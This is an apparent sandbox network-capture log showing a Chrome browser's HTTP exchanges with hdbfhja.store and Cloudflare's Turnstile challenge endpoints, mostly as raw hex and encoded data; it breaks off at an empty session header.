2024-05-07 18:28:22 UTC	175	IN	Data Raw: 61 39 0d 0a 56 57 46 35 39 6c 4a 6d 62 6c 6e 39 69 59 61 4a 6b 6a 61 53 57 71 48 6d 76 68 33 43 42 67 58 35 75 70 4a 57 54 64 61 5a 36 74 49 75 78 74 6e 2b 51 72 37 79 6c 6b 4d 6e 4a 6b 72 61 55 79 34 36 37 69 4d 4b 4c 73 70 36 2f 6c 4d 44 52 6d 4d 37 62 6c 74 53 62 72 39 48 4e 71 38 76 66 32 63 37 56 76 62 6a 63 76 63 48 70 79 73 33 6f 37 39 79 2b 79 63 48 52 34 38 44 48 35 63 33 4e 37 73 33 33 30 66 4c 4e 2b 39 58 31 76 41 44 5a 2b 63 58 35 36 67 4d 42 39 77 67 4b 79 67 7a 6c 42 68 67 54 32 41 50 72 45 4e 67 66 0d 0a Data Ascii: a9 VWF59lJmbln9iYaJkjaSWqHmvh3CBgX5upJWTdaZ6tIuxtn+Qr7ylkMnJkraUy467iMKLsp6/lMDRmM7bltSbr9HNq8vf2c7VvbjcvcHpys3o79y+ycHR48DH5c3N7s330fLN+9X1vADZ+cX56gMB9wgKygzlBhgT2APrENgf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49752	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:22 UTC	850	OUT	GET /favicon.ico HTTP/1.1 Host: hdbfhja.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hdbfhja.store/?xeuxuwcg=557878b1416645a740a9119a6f4ae2274233f6c9186bcefac0510f6e30102bc3eae40bcec311e10ba4bf76faa9c8ab9761ac44829bccbe1c2f1f9dbd9ec6e43f&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc
2024-05-07 18:28:22 UTC	122	IN	HTTP/1.1 500 Internal Server Error Date: Tue, 07 May 2024 18:28:22 GMT Connection: close Transfer-Encoding: chunked
2024-05-07 18:28:22 UTC	33	IN	Data Raw: 31 36 0d 0a 3c 68 31 3e 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 68 31 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 16 <h1>Access Denied</h1> 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49754	104.17.3.184	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:24 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/552112303:1715102812:0WLYJpz4kjQWCDwNrhO3CJZT6Jwalov-zv6_7Jei_L8/880344ec3fbf41d8/8e6ada03ae78a62 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:24 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Tue, 07 May 2024 18:28:24 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: 5gn3JI9vjwmx/XddJ6O7AA==$8dicygi7tHzrtAiOZsG30Q== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 880345034e5b4255-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:28:24 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49755	104.17.3.184	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:24 UTC	775	OUT	GET /cdn-cgi/challenge-platform/h/b/i/880344ec3fbf41d8/1715106502152/7FgzsFrfQMeoixt HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/152rs/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:24 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:24 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 880345045e0d0f7c-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:28:24 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 2c 00 00 00 1f 08 02 00 00 00 13 08 b8 55 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNG IHDR,UIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49756	104.17.3.184	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:24 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/880344ec3fbf41d8/1715106502152/7FgzsFrfQMeoixt HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:24 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:24 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 88034506fb6f437f-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:28:24 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 2c 00 00 00 1f 08 02 00 00 00 13 08 b8 55 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNG IHDR,UIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49757	104.17.3.184	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:25 UTC	804	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/880344ec3fbf41d8/1715106502159/5478e54719796e628e00f9103b75ee745dd1ac6c513ec21998e22a11acafd7d9/mrcqUDW-rtofgAH HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/152rs/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:25 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Tue, 07 May 2024 18:28:25 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-05-07 18:28:25 UTC	1382	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 56 48 6a 6c 52 78 6c 35 62 6d 4b 4f 41 50 6b 51 4f 33 58 75 64 46 33 52 72 47 78 52 50 73 49 5a 6d 4f 49 71 45 61 79 76 31 39 6b 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gVHjlRxl5bmKOAPkQO3XudF3RrGxRPsIZmOIqEayv19kAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-05-07 18:28:25 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49758	104.17.3.184	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:25 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/552112303:1715102812:0WLYJpz4kjQWCDwNrhO3CJZT6Jwalov-zv6_7Jei_L8/880344ec3fbf41d8/8e6ada03ae78a62 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31408 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 8e6ada03ae78a62 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/152rs/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:25 UTC	16384	OUT	Data Raw: 76 5f 38 38 30 33 34 34 65 63 33 66 62 66 34 31 64 38 3d 25 32 62 51 33 31 6d 6a 54 61 79 54 51 33 79 6a 71 57 30 54 78 2d 6d 31 4f 76 76 49 54 5a 2d 37 31 54 41 6a 64 2d 49 31 49 33 54 6f 2d 79 31 49 4c 6a 30 2d 47 6a 2d 57 6c 31 54 76 2d 2b 31 39 4c 2d 53 35 32 35 2d 35 71 2d 43 31 38 45 59 33 2d 48 4c 2d 46 2d 36 33 2d 65 2d 38 5a 4f 48 2d 6b 6e 5a 75 66 2d 50 6c 57 68 58 39 33 58 48 24 30 2d 54 46 72 35 2d 67 49 2d 44 68 2d 30 31 72 61 2d 59 31 54 61 2d 57 49 49 2d 4d 33 2d 78 4b 6a 61 4b 2d 57 24 61 49 6e 48 48 73 58 57 2d 32 6c 2d 63 4d 49 75 6c 71 39 76 4c 31 2d 32 4b 73 6b 44 30 49 4e 32 44 78 7a 76 2d 69 4e 34 50 2d 2d 6e 48 2d 2d 61 2d 6c 6e 41 4b 33 67 32 2d 39 6e 53 44 35 30 64 62 72 36 5a 6a 31 35 4e 64 64 43 49 62 6f 79 66 7a 56 2b 64 4b 33 Data Ascii: v_880344ec3fbf41d8=%2bQ31mjTayTQ3yjqW0Tx-m1OvvITZ-71TAjd-I1I3To-y1ILj0-Gj-Wl1Tv-+19L-S525-5q-C18EY3-HL-F-63-e-8ZOH-knZuf-PlWhX93XH$0-TFr5-gI-Dh-01ra-Y1Ta-WII-M3-xKjaK-W$aInHHsXW-2l-cMIulq9vL1-2KskD0IN2Dxzv-iN4P--nH--a-lnAK3g2-9nSD50dbr6Zj15NddCIboyfzV+dK3
2024-05-07 18:28:25 UTC	15024	OUT	Data Raw: 2d 38 6c 57 79 2d 4c 41 48 41 4d 4c 50 38 2d 6c 54 50 2d 4c 2d 56 6c 42 6c 50 41 72 2b 2d 44 2d 4f 31 57 47 79 69 2d 4d 31 38 41 54 4b 2d 6b 66 49 32 54 49 2d 55 61 54 2d 54 6e 2d 46 6c 54 4e 2d 6d 41 42 6c 57 61 2d 46 2d 61 41 6a 68 2d 78 2d 4b 76 30 6f 4b 64 4c 49 6a 35 35 2d 4b 2d 61 36 5a 6e 71 5a 79 30 41 35 68 2d 4e 41 39 37 57 50 31 4f 2d 39 2d 57 33 57 5a 6c 48 6a 49 53 54 6f 2d 61 36 62 51 54 77 33 38 6c 49 4e 54 6a 2d 4b 31 39 33 2d 66 24 48 6a 49 41 6a 5a 79 2b 41 54 50 31 75 2d 61 79 57 2d 2d 5a 79 50 31 39 33 6a 6a 2d 77 2d 55 46 54 69 2d 47 50 6a 33 43 6a 2d 6c 31 39 33 54 72 32 35 2d 2d 4d 71 4c 41 59 2d 35 6c 54 58 2d 46 2d 38 41 2d 72 2d 46 70 44 31 54 76 2d 38 2d 2d 61 2d 75 2d 4c 52 30 4c 54 63 37 58 2d 33 35 54 65 2d 42 4b 6a 31 57 75 Data Ascii: -8lWy-LAHAMLP8-lTP-L-VlBlPAr+-D-O1WGyi-M18ATK-kfI2TI-UaT-Tn-FlTN-mABlWa-F-aAjh-x-Kv0oKdLIj55-K-a6ZnqZy0A5h-NA97WP1O-9-W3WZlHjISTo-a6bQTw38lINTj-K193-f$HjIAjZy+ATP1u-ayW--ZyP193jj-w-UFTi-GPj3Cj-l193Tr25--MqLAY-5lTX-F-8A-r-FpD1Tv-8--a-u-LR0LTc7X-35Te-BKj1Wu
2024-05-07 18:28:25 UTC	350	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:25 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: hX4KUk2lXf12c8HepveIOY3obM4iVxGNlwOoPnFF4BhES6kjTXUyqTYTAdZ82Ybi$O8b2quOTfU+fT8s81pyNmA== vary: accept-encoding Server: cloudflare CF-RAY: 8803450c9c927ce2-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:28:25 UTC	870	IN	Data Raw: 33 35 66 0d 0a 62 62 57 49 65 4b 65 63 69 71 71 67 65 33 32 6d 6e 35 65 45 6f 49 50 4e 69 70 36 36 6e 6f 4f 69 76 71 50 49 6a 73 65 6e 79 4d 6d 36 74 5a 69 36 6c 35 66 67 6e 74 48 43 76 38 53 32 31 36 54 46 6f 36 50 73 37 73 37 50 32 63 33 43 7a 62 44 51 72 36 2f 74 31 75 65 31 30 75 76 79 79 74 48 75 30 64 6e 76 78 75 6a 57 78 66 58 34 36 77 58 48 2b 41 59 42 2f 76 4c 74 30 50 58 50 7a 78 72 6c 44 75 77 5a 45 50 44 70 33 41 48 62 32 79 45 69 45 68 7a 68 4b 2f 6f 63 44 51 34 4c 36 67 76 75 48 78 59 48 4a 69 51 75 38 66 63 6e 4d 66 6e 35 48 7a 54 36 47 53 2f 2b 48 77 49 6e 50 6a 55 32 4e 55 45 6a 53 7a 6b 71 44 54 73 4d 44 42 39 4a 4e 7a 63 76 47 45 63 58 4a 78 78 4a 47 6c 74 41 55 6d 49 78 5a 43 5a 6b 4d 6c 63 36 52 55 30 6e 62 45 63 70 4c 6c 31 48 4d 69 Data Ascii: 35f bbWIeKeciqqge32mn5eEoIPNip66noOivqPIjsenyMm6tZi6l5fgntHCv8S216TFo6Ps7s7P2c3CzbDQr6/t1ue10uvyytHu0dnvxujWxfX46wXH+AYB/vLt0PXPzxrlDuwZEPDp3AHb2yEiEhzhK/ocDQ4L6gvuHxYHJiQu8fcnMfn5HzT6GS/+HwInPjU2NUEjSzkqDTsMDB9JNzcvGEcXJxxJGltAUmIxZCZkMlc6RU0nbEcpLl1HMi
2024-05-07 18:28:25 UTC	1369	IN	Data Raw: 31 66 62 35 0d 0a 46 41 7a 63 6f 53 41 63 37 4c 45 73 4c 50 7a 42 4f 44 30 4d 30 55 52 4e 48 4f 46 51 71 4b 46 4e 4c 4c 46 64 49 57 30 74 51 51 6d 56 48 59 31 52 6d 4e 30 5a 4c 5a 6c 6c 5a 53 6b 52 64 58 55 70 49 59 57 46 4b 54 47 56 6c 53 6c 42 70 61 55 70 55 62 57 78 45 65 30 56 79 59 47 47 45 69 34 46 6c 69 56 31 49 6a 59 46 67 67 57 5a 57 67 31 5a 54 57 58 42 57 57 5a 47 4a 65 33 4a 79 6b 6f 56 78 66 34 4b 47 67 58 35 2f 65 33 65 65 6e 34 65 79 66 36 74 76 68 48 2b 68 74 70 57 53 68 6f 32 72 6c 34 36 72 65 58 31 2b 6e 70 75 31 6c 36 57 42 76 62 61 39 6e 70 36 2b 73 5a 33 46 30 61 4f 4d 79 37 2b 75 6d 4e 71 75 32 4d 2f 5a 73 74 54 68 33 63 33 55 6f 39 32 34 73 4f 4f 69 31 62 33 68 77 4f 58 63 76 73 44 55 7a 65 47 73 7a 39 65 78 78 2b 53 32 7a 73 33 2b Data Ascii: 1fb5 FAzcoSAc7LEsLPzBOD0M0URNHOFQqKFNLLFdIW0tQQmVHY1RmN0ZLZllZSkRdXUpIYWFKTGVlSlBpaUpUbWxEe0VyYGGEi4FliV1IjYFggWZWg1ZTWXBWWZGJe3JykoVxf4KGgX5/e3een4eyf6tvhH+htpWSho2rl46reX1+npu1l6WBvba9np6+sZ3F0aOMy7+umNqu2M/ZstTh3c3Uo924sOOi1b3hwOXcvsDUzeGsz9exx+S2zs3+
2024-05-07 18:28:25 UTC	1369	IN	Data Raw: 38 34 53 43 41 6b 53 68 6b 58 48 6a 73 51 50 6b 55 75 53 43 35 46 52 46 56 47 46 56 5a 4b 4c 6d 41 66 4b 68 38 35 54 43 45 35 58 54 46 69 53 53 70 69 50 57 6b 36 5a 6b 34 36 62 55 39 53 64 56 4e 46 4d 31 59 33 58 55 56 78 66 55 35 77 65 45 42 42 63 6e 2b 41 64 48 53 4c 63 30 6d 4b 69 49 5a 4e 53 59 64 39 68 4a 52 6d 62 6b 39 6c 62 5a 4b 52 6b 70 36 50 67 4a 35 66 6b 34 53 68 59 35 65 49 70 48 70 34 6f 35 74 38 70 35 69 72 6d 36 43 53 74 5a 65 7a 6f 35 61 44 6c 5a 74 37 66 70 75 59 6c 4b 32 74 6d 70 69 78 73 5a 71 63 74 62 57 61 6f 4c 6d 35 6d 63 7a 41 6b 73 48 52 73 38 69 52 75 4b 54 57 74 73 2f 58 31 39 33 4a 32 38 2f 59 77 75 54 53 6e 72 62 4a 77 37 71 71 74 2b 72 52 30 75 57 70 72 66 4c 78 34 4f 6a 6e 75 76 54 73 74 2f 66 33 31 76 49 44 31 62 2f 44 7a Data Ascii: 84SCAkShkXHjsQPkUuSC5FRFVGFVZKLmAfKh85TCE5XTFiSSpiPWk6Zk46bU9SdVNFM1Y3XUVxfU5weEBBcn+AdHSLc0mKiIZNSYd9hJRmbk9lbZKRkp6PgJ5fk4ShY5eIpHp4o5t8p5irm6CStZezo5aDlZt7fpuYlK2tmpixsZqctbWaoLm5mczAksHRs8iRuKTWts/X193J28/YwuTSnrbJw7qqt+rR0uWprfLx4OjnuvTst/f31vID1b/Dz
2024-05-07 18:28:25 UTC	1369	IN	Data Raw: 57 50 52 41 49 43 6b 51 52 4e 43 42 43 4e 68 68 51 56 51 34 64 47 55 6f 62 4b 52 6f 61 48 43 42 47 52 54 55 6b 53 69 4d 6b 57 56 6b 70 5a 32 4e 52 55 6d 73 73 53 32 78 52 4e 47 55 7a 4e 44 70 70 4e 7a 79 42 59 57 4a 37 51 48 46 43 65 48 35 67 69 45 74 59 52 6d 6c 77 6a 59 46 4e 56 4a 61 4a 59 48 64 69 54 4a 56 38 65 33 78 37 66 46 32 4f 65 56 75 67 68 59 39 6c 69 6f 64 71 71 70 56 71 65 49 74 6a 70 34 75 6b 74 49 79 51 74 6f 57 44 69 71 65 36 6b 59 75 61 74 4a 71 78 73 4d 47 79 67 63 4b 32 6d 35 36 6c 72 49 75 6c 75 49 32 6c 79 5a 33 4f 74 5a 62 4f 71 64 57 6d 30 72 71 6d 32 62 75 2b 74 64 6d 74 78 4f 65 76 70 74 71 6c 6f 64 33 65 34 64 72 67 77 4d 48 6d 71 37 37 72 39 64 66 31 75 4c 69 36 7a 4c 7a 54 38 64 6a 4c 30 75 38 44 76 2b 50 69 2f 4f 6a 54 2b 41 Data Ascii: WPRAICkQRNCBCNhhQVQ4dGUobKRoaHCBGRTUkSiMkWVkpZ2NRUmssS2xRNGUzNDppNzyBYWJ7QHFCeH5giEtYRmlwjYFNVJaJYHdiTJV8e3x7fF2OeVughY9liodqqpVqeItjp4uktIyQtoWDiqe6kYuatJqxsMGygcK2m56lrIuluI2lyZ3OtZbOqdWm0rqm2bu+tdmtxOevptqlod3e4drgwMHmq77r9df1uLi6zLzT8djL0u8Dv+Pi/OjT+A
2024-05-07 18:28:25 UTC	1369	IN	Data Raw: 4d 79 34 70 52 44 5a 59 52 30 30 75 57 43 34 76 48 55 45 76 4f 6b 31 56 51 7a 56 65 52 69 64 4d 49 32 55 75 59 48 46 49 59 6e 4a 42 56 47 39 67 65 57 4a 72 58 48 6c 4f 54 48 63 39 55 48 74 73 67 47 35 33 61 49 4e 49 65 47 71 4e 62 34 74 39 66 4a 46 78 63 6c 4e 57 63 33 42 73 68 59 56 79 63 49 6d 4a 63 6e 53 4e 6a 58 4a 34 6b 5a 46 7a 64 36 68 30 6d 48 69 44 65 6f 79 74 68 71 4f 49 64 59 79 6f 6d 4c 57 51 68 48 65 6f 69 36 6d 50 75 58 6d 42 6a 63 53 63 6b 6f 43 55 75 5a 75 70 6c 71 37 42 75 4b 2b 70 79 38 43 79 31 4c 43 76 74 4b 6d 7a 72 4c 54 4b 74 4d 47 74 31 65 48 63 31 4f 53 6a 6d 75 72 6c 31 74 58 62 79 39 6e 4c 77 73 4c 69 31 63 48 70 39 66 6a 30 73 66 4b 31 74 62 69 33 33 38 73 44 42 4e 54 77 76 4e 2f 49 78 4d 4c 2b 41 65 7a 59 43 4e 2f 63 43 4e 48 Data Ascii: My4pRDZYR00uWC4vHUEvOk1VQzVeRidMI2UuYHFIYnJBVG9geWJrXHlOTHc9UHtsgG53aINIeGqNb4t9fJFxclNWc3BshYVycImJcnSNjXJ4kZFzd6h0mHiDeoythqOIdYyomLWQhHeoi6mPuXmBjcSckoCUuZuplq7BuK+py8Cy1LCvtKmzrLTKtMGt1eHc1OSjmurl1tXby9nLwsLi1cHp9fj0sfK1tbi338sDBNTwvN/IxML+AezYCN/cCNH
2024-05-07 18:28:25 UTC	1369	IN	Data Raw: 6b 64 57 50 6a 38 64 50 46 45 79 49 54 42 48 4e 6d 67 2f 4f 56 6b 33 54 46 31 76 5a 6c 35 44 50 54 78 74 59 55 55 76 5a 55 6c 77 55 47 78 6f 4f 44 74 74 56 47 4a 63 64 47 2b 48 57 49 46 31 56 56 32 4a 58 6c 31 4c 66 6d 47 49 61 5a 42 6e 59 57 32 5a 61 32 56 6f 69 6f 69 66 62 49 35 30 6c 31 2b 51 6a 32 47 42 70 5a 56 30 5a 4b 6c 39 6e 34 53 65 67 6e 32 41 6f 34 65 46 63 48 43 4a 71 35 46 30 71 4c 35 38 65 4a 53 64 6c 4c 47 55 73 72 4f 63 76 63 43 64 75 4c 71 6f 72 35 76 42 31 4d 36 7a 72 73 37 43 72 4e 57 74 6d 5a 72 5a 79 70 76 43 6d 70 71 74 6e 39 44 61 71 4b 62 55 75 72 33 59 32 72 33 45 7a 75 2f 70 33 72 50 44 36 65 54 59 78 2f 54 77 2f 66 53 38 75 65 2f 38 2b 39 6f 43 76 74 72 34 77 77 62 63 79 66 34 46 7a 4d 33 4c 44 75 55 4d 38 73 2f 72 39 41 33 6e Data Ascii: kdWPj8dPFEyITBHNmg/OVk3TF1vZl5DPTxtYUUvZUlwUGxoODttVGJcdG+HWIF1VV2JXl1LfmGIaZBnYW2Za2VoioifbI50l1+Qj2GBpZV0ZKl9n4Segn2Ao4eFcHCJq5F0qL58eJSdlLGUsrOcvcCduLqor5vB1M6zrs7CrNWtmZrZypvCmpqtn9DaqKbUur3Y2r3Ezu/p3rPD6eTYx/Tw/fS8ue/8+9oCvtr4wwbcyf4FzM3LDuUM8s/r9A3n
2024-05-07 18:28:25 UTC	1280	IN	Data Raw: 4d 74 57 69 49 38 57 30 6c 61 55 31 34 6b 57 55 34 70 57 6e 42 52 4c 46 51 78 56 6d 68 75 4d 57 4d 7a 4f 44 64 70 54 44 67 2b 62 6c 4a 75 51 57 56 69 66 34 4e 7a 52 58 74 2b 5a 47 78 51 6b 58 4b 55 59 59 4a 6e 69 47 43 58 62 33 6c 6b 6b 57 35 35 6e 34 39 7a 67 46 74 66 6b 59 56 6b 59 35 52 34 5a 47 6d 45 72 6d 65 72 6b 6e 36 79 64 49 79 71 64 33 69 4c 72 49 53 73 6a 71 2b 55 73 35 47 63 66 37 4b 57 6b 62 72 42 74 4d 43 68 68 4c 65 74 6a 4d 36 6d 6e 72 2b 4d 77 72 61 70 79 73 7a 4f 6b 35 6d 39 76 39 2f 50 73 2b 50 4f 31 72 76 6d 70 39 58 5a 32 39 62 69 77 4d 72 71 72 63 4f 2b 31 65 50 4a 35 71 2b 32 30 63 53 7a 2b 73 37 75 75 37 76 54 7a 64 6a 43 33 64 4c 51 2b 4e 72 37 34 41 44 64 36 4d 76 2b 34 74 30 48 44 67 45 4e 37 64 41 45 2b 64 67 62 38 75 6f 4d 32 Data Ascii: MtWiI8W0laU14kWU4pWnBRLFQxVmhuMWMzODdpTDg+blJuQWVif4NzRXt+ZGxQkXKUYYJniGCXb3lkkW55n49zgFtfkYVkY5R4ZGmErmerkn6ydIyqd3iLrISsjq+Us5Gcf7KWkbrBtMChhLetjM6mnr+MwrapyszOk5m9v9/Ps+PO1rvmp9XZ29biwMrqrcO+1ePJ5q+20cSz+s7uu7vTzdjC3dLQ+Nr74ADd6Mv+4t0HDgEN7dAE+dgb8uoM2
2024-05-07 18:28:25 UTC	1369	IN	Data Raw: 37 34 36 0d 0a 46 2f 51 41 33 75 44 34 42 51 51 63 2f 53 38 45 48 77 4c 38 44 43 41 4c 45 50 49 6f 43 54 73 79 4b 42 41 59 2f 6a 45 52 52 43 41 79 46 54 63 2b 4f 42 6c 4c 47 44 6b 64 50 67 38 4a 4a 43 31 47 52 79 68 48 54 6b 63 73 4e 53 52 4c 4d 7a 6c 57 54 54 51 39 4e 46 63 34 56 69 4e 58 4f 6c 78 49 58 54 38 35 52 47 4a 45 54 55 68 6d 52 6e 64 49 63 45 39 56 54 47 6c 50 53 55 68 77 55 6c 31 59 64 46 57 48 59 45 46 61 65 31 52 34 58 6c 6d 43 66 32 4e 64 58 49 4e 6f 69 48 53 4a 62 49 70 58 69 57 32 4f 58 35 4a 79 6f 33 69 57 65 34 46 38 6d 48 71 71 59 35 31 2b 69 47 65 6f 67 71 4a 76 62 59 61 33 6a 4b 71 4b 68 59 53 76 6a 70 68 33 72 5a 4c 45 6f 4c 61 58 6b 49 65 35 6e 4b 53 48 76 70 32 70 70 4c 79 6e 72 61 6a 41 70 74 66 4b 78 4b 75 6b 6d 38 69 75 71 4a Data Ascii: 746 F/QA3uD4BQQc/S8EHwL8DCALEPIoCTsyKBAY/jERRCAyFTc+OBlLGDkdPg8JJC1GRyhHTkcsNSRLMzlWTTQ9NFc4ViNXOlxIXT85RGJETUhmRndIcE9VTGlPSUhwUl1YdFWHYEFae1R4XlmCf2NdXINoiHSJbIpXiW2OX5Jyo3iWe4F8mHqqY51+iGeogqJvbYa3jKqKhYSvjph3rZLEoLaXkIe5nKSHvp2ppLynrajAptfKxKukm8iuqJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49759	104.17.3.184	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
